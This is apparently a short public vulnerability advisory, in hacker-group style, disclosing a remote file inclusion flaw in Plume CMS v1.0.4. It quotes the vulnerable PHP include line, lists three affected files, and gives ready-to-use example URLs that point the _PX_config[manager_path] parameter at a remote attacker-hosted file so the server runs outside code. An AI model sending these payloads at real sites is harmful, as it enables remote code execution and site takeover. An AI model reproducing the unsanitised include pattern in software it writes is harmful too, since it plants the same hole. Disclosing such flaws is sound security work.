plume cms v1.0.4 Multiple Remote File include

-------------------------------------------------

Discovered By CrAsh_oVeR_rIdE

Arabian Security Team

-------------------------------------------------

site of script:http://www.plume-cms.net/

-------------------------------------------------

Vulnerable: plume cms v1.0.4

-------------------------------------------------

vulnerable code:

----------------------

include $_PX_config['manager_path'].'/frontinc/class.template.php';

_PX_config[manager_path] parameter File include

------------------------------------------------------------------------
-----------------------------------------------------------------

vulnerable files :

--------------------

index.php

rss.php

search.php

-------------------------------------------------

example:

www.example.com/(path)/index.php?_PX_config[manager_path]=http://evilcod
e.txt?

www.example.com/(path)/rss.php?_PX_config[manager_path]=http://evilcode.
txt?

www.example.com/(path)/search.php?_PX_config[manager_path]=http://evilco
de.txt?

-------------------------------------------------

Discovered By CrAsh_oVeR_rIdE

E-mail:KARKOR23 (at) hotmail (dot) com [email concealed]

Site:www.lezr.com

Greetz:KING-HACKER,YOUNG HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,Black-Code,ALM
OKAN3, mr-hcr AND ALL LEZR.COM Member

[ reply ]